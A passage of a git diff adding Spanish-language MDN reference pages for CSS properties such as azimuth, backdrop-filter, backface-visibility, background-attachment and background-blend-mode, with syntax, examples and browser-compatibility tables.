+<h3 id="Ejemplos" name="Ejemplos"> Ejemplos </h3>
+<pre class="eval">div {
+   height: 600px;
+   border: 1px solid #000;
+}
+</pre>
+<pre class="eval">div img {
+   height: auto;
+   border: 1px solid red;
+}
+</pre>
+<h3 id="Se_utiliza_en" name="Se_utiliza_en"> Se utiliza en </h3>
+<ul><li> {{ Cssxref("overflow") }}
+</li><li> {{ Cssxref("cursor") }}
+</li><li> {{ Cssxref("width") }}
+</li><li> {{ Cssxref("marker-offset") }}
+</li><li> {{ Cssxref("margin") }}
+</li><li> margin-* (left|bottom|top|right|start|end)
+</li><li> {{ Cssxref("bottom") }}
+</li><li> {{ Cssxref("left") }}
+</li><li> {{ Cssxref("table-layout") }}
+</li><li> {{ Cssxref("z-index") }}
+</li><li> {{ Cssxref("-moz-column-width") }}
+</li></ul>
+<p><br>
+</p>
+<div class="noinclude">
+<p><span class="comment">Categorías</span>
+<span class="comment">Interwiki Languages</span>
+</p>
+</div>
+{{ languages( { "en": "en/CSS/auto" } ) }}
diff --git a/files/es/web/css/azimuth/index.html b/files/es/web/css/azimuth/index.html
new file mode 100644
index 0000000000..b4ccce8e37
--- /dev/null
+++ b/files/es/web/css/azimuth/index.html
@@ -0,0 +1,70 @@
+---
+title: azimuth
+slug: Web/CSS/azimuth
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Todas_las_Categorías
+translation_of: Archive/Web/CSS/azimuth
+---
+<p>
+</p><p>&lt;&lt; <a href="es/Referencia_CSS">Referencia CSS</a>
+</p><p><br>
+</p>
+<h3 id="Resumen" name="Resumen"> Resumen </h3>
+<p>En combinación con <code><a href="es/CSS/elevation">elevación</a></code>, <code>azimuth</code> permite posicionar en el espacio/lugar diferentes fuentes de audio para una presentación auditiva (<small>aural</small>). Es importante ya que es un medio natural de definir varias fuentes de audio que pueden ser colocadas en lugares diferentes en la escena auditiva. Una salida estéreo produce una escena lateral, mientras que los cascos o los sistemas de múltiples altavoces permiten obtener una audición en 3D.
+</p>
+<ul><li> {{ Cssxref("initial", "Valor inicial") }}: al centro
+</li><li> Se aplica a: todos los elementos
+</li><li> {{ Cssxref("inheritance", "Herencia") }}: sí
+</li><li> Porcentajes: N/A
+</li><li> Medio: {{ Cssxref("Medio:audio", "auditivo") }}
+</li><li> {{ Cssxref("computed value", "Valor calculada") }}: ángulo normalizado
+</li></ul>
+<h3 id="Sintaxis" name="Sintaxis"> Sintaxis </h3>
+<pre class="eval">azimuth: <i>angle</i> | [[ left-side | far-left | left |
+    center-left | center | center-right | right |
+    far-right | right-side ] || behind ] | leftwards |
+    rightwards | inherit
+</pre>
+<h3 id="Valores" name="Valores"> Valores </h3>
+<dl><dt> ángulo (<code>angle</code>) </dt><dd> La posición de la fuente audible se describe por un ángulo comprendido en tre <code>-360deg</code> y <code>360deg</code>. El valor <b><code>0deg</code></b> se encuentra directamente en el centro del escenario auditivo (valor por defecto), <b><code>90deg</code></b> es a la derecha, <b><code>180deg</code></b> es detrás y <b><code>270deg</code></b> o <b><code>-90deg</code></b> es a la izquierda.
+</dd></dl>
+<h4 id="Palabras_claves_de_posici.C3.B3n" name="Palabras_claves_de_posici.C3.B3n"> Palabras claves de posición </h4>
+<ul><li> <b>left-side</b> = <code>270deg</code>.
+</li><li> <b>left-side behind</b> = <code>270deg</code>.
+</li><li> <b>far-left</b> = <code>300deg</code>.
+</li><li> <b>far-left behind</b> = <code>240deg</code>.
+</li><li> <b>left</b> = <code>320deg</code>.
+</li><li> <b>left behind</b> = <code>220deg</code>.
+</li><li> <b>center-left</b> = <code>340deg</code>.
+</li><li> <b>center-left behind</b> = <code>200deg</code>.
+</li><li> <b>center</b> = <code>0deg</code>.
+</li><li> <b>center behind</b> = <code>180deg</code>.
+</li><li> <b>center-right</b> = <code>20deg</code>.
+</li><li> <b>center-right behind</b> = <code>160deg</code>.
+</li><li> <b>right</b> = <code>40deg</code>.
+</li><li> <b>right behind</b> = <code>140deg</code>.
+</li><li> <b>far-right</b> = <code>60deg</code>.
+</li><li> <b>far-right behind</b> = <code>120deg</code>.
+</li><li> <b>right-side</b> = <code>90deg</code>.
+</li><li> <b>right-side behind</b> = <code>90deg</code>.
+</li><li> <b>behind</b> = <code>180deg</code>. También utilizado como modificador de otras palabras claves de posicionamiento, como encima.
+</li><li> <b>leftwards</b>: Mueve el sonido 20 grados en el sentido inverso (izquierda) al del reloj, en relación al ángulo actual.
+</li><li> <b>rightwards</b>: Mueve el sonido 20 grado en el sentido del reloj, en relación al ángulo actual.
+</li></ul>
+<h3 id="Ejemplos" name="Ejemplos"> Ejemplos </h3>
+<pre>h1   { azimuth: 30deg }
+td.a { azimuth: far-right }          /*  60deg */
+#12  { azimuth: behind far-right }   /* 120deg */
+p.comment { azimuth: behind }        /* 180deg */
+</pre>
+<h3 id="Especificaciones" name="Especificaciones"> Especificaciones </h3>
+<ul><li> <a class="external" href="http://www.w3.org/TR/CSS21/aural.html#spatial-props">CSS 2.1</a>
+</li></ul>
+<h3 id="Compatibilidad_con_navegadores" name="Compatibilidad_con_navegadores"> Compatibilidad con navegadores </h3>
+<p>Por definir.
+</p>
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n"> Ver también </h3>
+<p>{{ Cssxref("elevation") }}
+</p>{{ languages( { "en": "en/Image/Azimuth.png", "en": "en/CSS/azimuth", "fr": "fr/CSS/azimuth", "pl": "pl/CSS/azimuth", "zh-cn": "cn/CSS/azimuth" } ) }}
diff --git a/files/es/web/css/backdrop-filter/index.html b/files/es/web/css/backdrop-filter/index.html
new file mode 100644
index 0000000000..ca5df66d42
--- /dev/null
+++ b/files/es/web/css/backdrop-filter/index.html
@@ -0,0 +1,145 @@
+---
+title: backdrop-filter
+slug: Web/CSS/backdrop-filter
+tags:
+  - CSS
+  - Diseño
+  - Filtro SVG
+  - Propiedad CSS
+  - Referencia
+  - SVG
+  - Web
+  - graficos
+translation_of: Web/CSS/backdrop-filter
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propiedad <a href="/es/docs/Web/CSS">CSS</a> de <strong><code>backdrop-filter</code></strong> le permite aplicar efectos gráficos como el desenfoque o el cambio de color al área detrás de un elemento. Debido a que se aplica a todo lo que está <em>detrás</em> del elemento, para ver el efecto debe hacer que el elemento o su fondo sean al menos parcialmente transparentes.</p>
+
+<pre class="brush: css no-line-numbers">/* Valor de palabra clave */
+backdrop-filter: none;
+
+/* URL al filtro SVG */
+backdrop-filter: url(commonfilters.svg#filter);
+
+/* valores &lt;filter-function&gt; */
+backdrop-filter: blur(2px);
+backdrop-filter: brightness(60%);
+backdrop-filter: contrast(40%);
+backdrop-filter: drop-shadow(4px 4px 10px blue);
+backdrop-filter: grayscale(30%);
+backdrop-filter: hue-rotate(120deg);
+backdrop-filter: invert(70%);
+backdrop-filter: opacity(20%);
+backdrop-filter: sepia(90%);
+backdrop-filter: saturate(80%);
+
+/* Múltiples filtros */
+backdrop-filter: url(filters.svg#filter) blur(4px) saturate(150%);
+
+/* Valores globales */
+backdrop-filter: inherit;
+backdrop-filter: initial;
+backdrop-filter: unset;
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>No se aplica filtro al fondo.</dd>
+ <dt><code>&lt;filter-function-list&gt;</code></dt>
+ <dd>Una lista separada por espacios de {{cssxref("&lt;filter-function&gt;")}} o un <a href="/es/docs/Web/SVG/Element/filter">filtro SVG</a> que se aplicará al fondo.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.box {
+  background-color: rgba(255, 255, 255, 0.3);
+  border-radius: 5px;
+  font-family: sans-serif;
+  text-align: center;
+  line-height: 1;
+  backdrop-filter: blur(10px);
+  -webkit-backdrop-filter: blur(10px);
+  max-width: 50%;
+  max-height: 50%;
+  padding: 20px 40px;
+}
+
+html,
+body {
+  height: 100%;
+  width: 100%;
+}
+
+body {
+  background-image: url('https://interactive-examples.mdn.mozilla.net/media/examples/firefox-logo.svg');
+  background-position: center center;
+  background-repeat: no-repeat;
+  background-size: cover;
+}
+
+.container {
+  align-items: center;
+  display: flex;
+  justify-content: center;
+  height: 100%;
+  width: 100%;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="container"&gt;
+  &lt;div class="box"&gt;
+    &lt;p&gt;backdrop-filter: blur(10px)&lt;/p&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample("Ejemplo", 600, 400)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Filters 2.0', '#BackdropFilterProperty', 'backdrop-filter')}}</td>
+   <td>{{Spec2('Filters 2.0')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.backdrop-filter")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{cssxref("filter")}}</li>
+ <li><a href="http://www.domneill.com/blog/posts/2015/07/28/my-favourite-new-features-in-webkit-and-safari/">Publicación del blog de Dom Neill con ejemplos</a></li>
+ <li><a href="http://product.voxmedia.com/til/2015/2/17/8053347/css-ios-transparency-with-webkit-backdrop-filter">Creación de efectos de transparencia similares a iOS en CSS con filtro de fondo</a></li>
+</ul>
diff --git a/files/es/web/css/backface-visibility/index.html b/files/es/web/css/backface-visibility/index.html
new file mode 100644
index 0000000000..509c6e05fc
--- /dev/null
+++ b/files/es/web/css/backface-visibility/index.html
@@ -0,0 +1,270 @@
+---
+title: backface-visibility
+slug: Web/CSS/backface-visibility
+tags:
+  - CSS
+  - Experimental
+  - Propiedad CSS
+  - Referencia
+translation_of: Web/CSS/backface-visibility
+---
+<p>{{CSSRef}}{{SeeCompatTable}}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad <a href="/en-US/docs/CSS" title="CSS">CSS</a> <strong><code>backface-visibility</code></strong> determina si la cara posterior de un elemento es visible de frente al usuario. La cara posterior de un elemento siempre es un fondo transparente, permitiendo, cuando es visible, que se muestre una imagen de espejo de la cara frontal.</p>
+
+<p>Hay casos en los que no queremos que la cara frontal de un elemento sea visible a través de la cara posterior, como cuando se hace el efecto de voltear una tarjeta (estableciendo dos elementos lado a lado).</p>
+
+<p>Esta propiedad no tiene efecto en transformaciones 2D, pues estos no tienen perspectiva.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: css">backface-visibility: visible;
+backface-visibility: hidden;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<p>Esta propiedad puede tener dos valores diferentes (y exclusivos):</p>
+
+<ul>
+ <li><code>visible</code> significa que la cara posterior es visible, permitiendo que la cara frontal se muestre invertida</li>
+ <li><code>hidden</code> significa que la cara posterior no es visible, ocultando la cara frontal</li>
+</ul>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<dl>
+</dl>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Cubo_con_caras_transparentes">Cubo con caras transparentes</h3>
+
+<h4 id="Contenido_HTML">Contenido HTML</h4>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;th&gt;&lt;code&gt;backface-visibility: visible;&lt;/code&gt;&lt;/th&gt;
+      &lt;th&gt;&lt;code&gt;backface-visibility: hidden;&lt;/code&gt;&lt;/th&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;td&gt;
+        &lt;div class="container"&gt;
+          &lt;div class="cube showbf"&gt;
+            &lt;div class="face front"&gt;1&lt;/div&gt;
+            &lt;div class="face back"&gt;2&lt;/div&gt;
+            &lt;div class="face right"&gt;3&lt;/div&gt;
+            &lt;div class="face left"&gt;4&lt;/div&gt;
+            &lt;div class="face top"&gt;5&lt;/div&gt;
+            &lt;div class="face bottom"&gt;6&lt;/div&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+        &lt;p&gt;All the faces are transparent and the three back faces are visible through the front ones.&lt;/p&gt;
+      &lt;/td&gt;
+      &lt;td&gt;
+        &lt;div class="container"&gt;
+          &lt;div class="cube hidebf"&gt;
+            &lt;div class="face front"&gt;1&lt;/div&gt;
+            &lt;div class="face back"&gt;2&lt;/div&gt;
+            &lt;div class="face right"&gt;3&lt;/div&gt;
+            &lt;div class="face left"&gt;4&lt;/div&gt;
+            &lt;div class="face top"&gt;5&lt;/div&gt;
+            &lt;div class="face bottom"&gt;6&lt;/div&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+        &lt;p&gt;No face is opaque, but the three back faces are always hidden now.&lt;/p&gt;
+      &lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="Contenido_CSS">Contenido CSS</h4>
+
+<pre class="brush: css">/* Shorthand classes that will show or hide the three back faces of the "cube" */
+.hidebf div {
+  backface-visibility: hidden;
+  -webkit-backface-visibility: hidden;
+}
+
+.showbf div {
+  backface-visibility: visible;
+  -webkit-backface-visibility: visible;
+}
+
+/* Define the container div, the cube div, and a generic face */
+.container {
+  width: 150px;
+  height: 150px;
+  margin: 75px 0 0 75px;
+  border: none;
+}
+
+.cube {
+  width: 100%;
+  height: 100%;
+  perspective: 550px;
+  perspective-origin: 150% 150%;
+  transform-style: preserve-3d;
+  -webkit-perspective: 300px;
+  -webkit-perspective-origin: 150% 150%;
+  -webkit-transform-style: preserve-3d;
+}
+
+.face {
+  display: block;
+  position: absolute;
+  width: 100px;
+  height: 100px;
+  border: none;
+  line-height: 100px;
+  font-family: sans-serif;
+  font-size: 60px;
+  color: white;
+  text-align: center;
+}
+
+/* Define each face based on direction */
+.front {
+  background: rgba(0, 0, 0, 0.3);
+  transform: translateZ(50px);
+  -webkit-transform: translateZ(50px);
+}
+
+.back {
+  background: rgba(0, 255, 0, 1);
+  color: black;
+  transform: rotateY(180deg) translateZ(50px);
+  -webkit-transform: rotateY(180deg) translateZ(50px);
+}
+
+.right {
+  background: rgba(196, 0, 0, 0.7);
+  transform: rotateY(90deg) translateZ(50px);
+  -webkit-transform: rotateY(90deg) translateZ(50px);
+}
+
+.left {
+  background: rgba(0, 0, 196, 0.7);
+  transform: rotateY(-90deg) translateZ(50px);
+  -webkit-transform: rotateY(-90deg) translateZ(50px);
+}
+
+.top {
+  background: rgba(196, 196, 0, 0.7);
+  transform: rotateX(90deg) translateZ(50px);
+  -webkit-transform: rotateX(90deg) translateZ(50px)
+}
+
+.bottom {
+  background: rgba(196, 0, 196, 0.7);
+  transform: rotateX(-90deg) translateZ(50px);
+  -webkit-transform: rotateX(-90deg) translateZ(50px);
+}
+
+/* Make the table a little nicer */
+th, p, td {
+  background-color: #EEEEEE;
+  margin: 0px;
+  padding: 6px;
+  font-family: sans-serif;
+  text-align: left;
+}</pre>
+
+<h4 id="Resultado">Resultado</h4>
+
+<p>{{EmbedLiveSample('Cube_with_transparent_faces', 620, 460)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transforms', '#backface-visibility-property', 'backface-visibility')}}</td>
+   <td>{{Spec2('CSS3 Transforms')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>12{{property_prefix('-webkit')}}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("10")}}{{property_prefix('-moz')}}<br>
+    {{CompatGeckoDesktop("16")}}<sup>[1]</sup></td>
+   <td>10</td>
+   <td>15{{property_prefix('-webkit')}}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix('-webkit')}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>3.0{{property_prefix('-webkit')}}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix('-webkit')}}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("10")}}{{property_prefix('-moz')}}<br>
+    {{CompatGeckoMobile("16")}}<sup>[1]</sup></td>
+   <td>8.1<br>
+    <a href="https://msdn.microsoft.com/en-us/library/ie/hh772262(v=vs.85).aspx">11</a>{{property_prefix('-webkit')}}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix('-webkit')}}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix('-webkit')}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Además del soporte sin prefijo, Gecko 45.0 {{geckoRelease("45.0")}} añadió sopore para una versión de la propiedad con prefijo <code>-webkit</code> por razones de compatibilidad, bajo la preferencia <code>layout.css.prefixes.webkit</code>, con valor predeterminado de <code>false</code>. A partir de Gecko 49.0 {{geckoRelease("49.0")}} el valor predeterminado de esta preferencia es <code>true</code>.</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="/es/docs/CSS/Using_CSS_transforms" title="/en-US/docs/CSS/Using_CSS_transforms">Uso de CSS transforms</a></li>
+</ul>
diff --git a/files/es/web/css/background-attachment/index.html b/files/es/web/css/background-attachment/index.html
new file mode 100644
index 0000000000..0075a07f88
--- /dev/null
+++ b/files/es/web/css/background-attachment/index.html
@@ -0,0 +1,133 @@
+---
+title: background-attachment
+slug: Web/CSS/background-attachment
+tags:
+  - CSS
+translation_of: Web/CSS/background-attachment
+---
+<p>{{CSSRef}}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>La propiedad CSS <strong><code>background-attachment</code></strong> determina si la posición de la imagen de fondo será <strong>fija</strong> dentro de la pantalla o <strong>se desplazará</strong> con su bloque contenedor.</p>
+
+<ul>
+ <li>{{ Cssxref("initial", "Inicial") }}: desplazamiento (<em>scroll</em>)</li>
+ <li>Se aplica a: todos los elementos</li>
+ <li>{{ Cssxref("inheritance", "Herencia") }}: no</li>
+ <li>Porcentajes: N/A</li>
+ <li>Medio: {{ Cssxref("Media:Visual", "visual") }}</li>
+ <li>{{ Cssxref("computed value", "Valor calculada") }}: como se haya especificado</li>
+</ul>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval notranslate">background-attachment: scroll | fixed | inherit
+</pre>
+
+<h3 id="Valores" name="Valores">Valores</h3>
+
+<dl>
+ <dt>scroll </dt>
+ <dd>Si <code>scroll</code> es especificado, la imagen de fondo se moverá dentro de la pantalla junto al bloque que la contiene.</dd>
+ <dt>fixed </dt>
+ <dd>Si <code>fixed</code> es especificado, la imagen de fondo estará fija en la pantalla y no se moverá con el bloque contenedor.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo_simple">Ejemplo simple</h3>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush:css; highlight:[3]; notranslate">p {
+  background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif");
+  background-attachment: fixed;
+}
+</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;
+  There were doors all round the hall, but they were all locked; and when
+  Alice had been all the way down one side and up the other, trying every
+  door, she walked sadly down the middle, wondering how she was ever to
+  get out again.
+&lt;/p&gt;</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample("Simple_example")}}</p>
+
+<h3 id="Soporta_múltiples_imagenes_de_fondo">Soporta múltiples imagenes de fondo</h3>
+
+<p>Esta propiedad soporta multiples imágenes de fondo. Puedes especificar un <code>&lt;attachment&gt;</code> diferente por cada imagen de fondo, separado por comas. Cada imagen es asociada con el correspondiente valor de &lt;attachment&gt;, especificado desde el primero hasta el último.</p>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush:css; highlight:[3]; notranslate">p {
+  background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif"), url("https://mdn.mozillademos.org/files/12059/startransparent.gif");
+  background-attachment: fixed, scroll;
+  background-repeat: no-repeat, repeat-y;
+}</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;
+  There were doors all round the hall, but they were all locked; and when
+  Alice had been all the way down one side and up the other, trying every
+  door, she walked sadly down the middle, wondering how she was ever to
+  get out again.
+
+  Suddenly she came upon a little three-legged table, all made of solid
+  glass; there was nothing on it except a tiny golden key, and Alice's
+  first thought was that it might belong to one of the doors of the hall;
+  but, alas! either the locks were too large, or the key was too small,
+  but at any rate it would not open any of them. However, on the second
+  time round, she came upon a low curtain she had not noticed before, and
+  behind it was a little door about fifteen inches high: she tried the
+  little golden key in the lock, and to her great delight it fitted!
+&lt;/p&gt;</pre>
+
+<h4 id="Resultado">Resultado</h4>
+
+<p>{{EmbedLiveSample("Multiple_background_image_support")}}</p>
+
+<h3 id="Especificaciones" name="Especificaciones">Especificaciones</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#background-attachment">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/colors.html#propdef-background-attachment">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2005/WD-css3-background-20050216/#background-attachment">CSS 3</a></li>
+</ul>
+
+<h3 id="Compatibilidad_de_navegadores" name="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Navegador</th>
+   <th>Versión mínima</th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Firefox</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>Netscape</td>
+   <td>6</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>3.5</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<p>{{ Cssxref("background") }}, {{ Cssxref("background-attachment") }}, {{ Cssxref("background-color") }}, {{ Cssxref("background-image") }}, {{ Cssxref("background-position") }}, {{ Cssxref("background-repeat") }}</p>
diff --git a/files/es/web/css/background-blend-mode/index.html b/files/es/web/css/background-blend-mode/index.html
new file mode 100644
index 0000000000..808654f167
--- /dev/null
+++ b/files/es/web/css/background-blend-mode/index.html
@@ -0,0 +1,150 @@
+---
+title: background-blend-mode
+slug: Web/CSS/background-blend-mode
+tags:
+  - Composición CSS
+  - Propiedad CSS
+translation_of: Web/CSS/background-blend-mode
+---
+<p>{{CSSRef()}}</p>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>La propiedad CSS <strong><code>background-blend-mode</code></strong> describe cómo las imágenes de fondo y el color de fondo del elemento deben mezclar entre sí. </p>
+
+<p>Los modos de fusión deben ser definidos en el mismo orden que la propiedad CSS {{cssxref("background-image")}}. Si la cantidad de modos de fusión y de imagenes de fondo no son iguales, se repetirán y/o truncarán hasta igualar las cantidades.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="brush:css">/* Un valor */
+background-blend-mode: normal;
+
+/* Dos valores, uno por fondo */
+background-blend-mode: darken, luminosity;
+
+/* Valores globales */
+background-blend-mode: initial;
+background-blend-mode: inherit;
+background-blend-mode: unset;
+</pre>
+
+<h3 id="Values" name="Values">Valores</h3>
+
+<dl>
+ <dt><code>&lt;blend-mode&gt;</code></dt>
+ <dd>Es un {{cssxref("&lt;blend-mode&gt;")}} que denota el modo de fusión que se aplicará. Puede haber varios valores, separados por coma.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<pre class="brush: html" style="display: none;">&lt;div id="div"&gt;&lt;/div&gt;
+&lt;select id="select"&gt;
+    &lt;option&gt;normal&lt;/option&gt;
+    &lt;option&gt;multiply&lt;/option&gt;
+    &lt;option selected&gt;screen&lt;/option&gt;
+    &lt;option&gt;overlay&lt;/option&gt;
+    &lt;option&gt;darken&lt;/option&gt;
+    &lt;option&gt;lighten&lt;/option&gt;
+    &lt;option&gt;color-dodge&lt;/option&gt;
+    &lt;option&gt;color-burn&lt;/option&gt;
+    &lt;option&gt;hard-light&lt;/option&gt;
+    &lt;option&gt;soft-light&lt;/option&gt;
+    &lt;option&gt;difference&lt;/option&gt;
+    &lt;option&gt;exclusion&lt;/option&gt;
+    &lt;option&gt;hue&lt;/option&gt;
+    &lt;option&gt;saturation&lt;/option&gt;
+    &lt;option&gt;color&lt;/option&gt;
+    &lt;option&gt;luminosity&lt;/option&gt;
+&lt;/select&gt;</pre>
+
+<pre class="brush: css" style="display: none;">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: screen;
+}</pre>
+
+<pre class="brush: js" style="display: none;">document.getElementById("select").onchange = function(event) {
+    document.getElementById("div").style.backgroundBlendMode = document.getElementById("select").selectedOptions[0].innerHTML;
+}
+console.log(document.getElementById('div'));</pre>
+
+<p>{{ EmbedLiveSample('Examples', "330", "330") }}</p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Compositing', '#background-blend-mode', 'background-blend-mode') }}</td>
+   <td>{{ Spec2('Compositing') }}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad en navegadores</h2>
+
+<p>{{CompatibilityTable()}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico </td>
+   <td>35</td>
+   <td>{{CompatGeckoDesktop('30.0')}}</td>
+   <td>{{CompatNo()}}</td>
+   <td>22</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo()}}</td>
+   <td>{{CompatGeckoMobile('30.0')}}</td>
+   <td>{{CompatNo()}}</td>
+   <td>22</td>
+   <td>iOS 8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Véase también</h2>
+
+<ul>
+ <li>{{cssxref("&lt;blend-mode&gt;")}}</li>
+ <li>{{cssxref("mix-blend-mode")}}</li>
+</ul>
diff --git a/files/es/web/css/background-clip/index.html b/files/es/web/css/background-clip/index.html
new file mode 100644
index 0000000000..2c8b8daf79
--- /dev/null
+++ b/files/es/web/css/background-clip/index.html
@@ -0,0 +1,171 @@
+---
+title: background-clip
+slug: Web/CSS/background-clip
+tags:
+  - CSS
+  - Diseño
+  - Fondo CSS
+  - Propiedad CSS
+  - Referencia
+  - Referência(2)
+  - Web
+translation_of: Web/CSS/background-clip
+---
+<div>{{ CSSRef() }}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
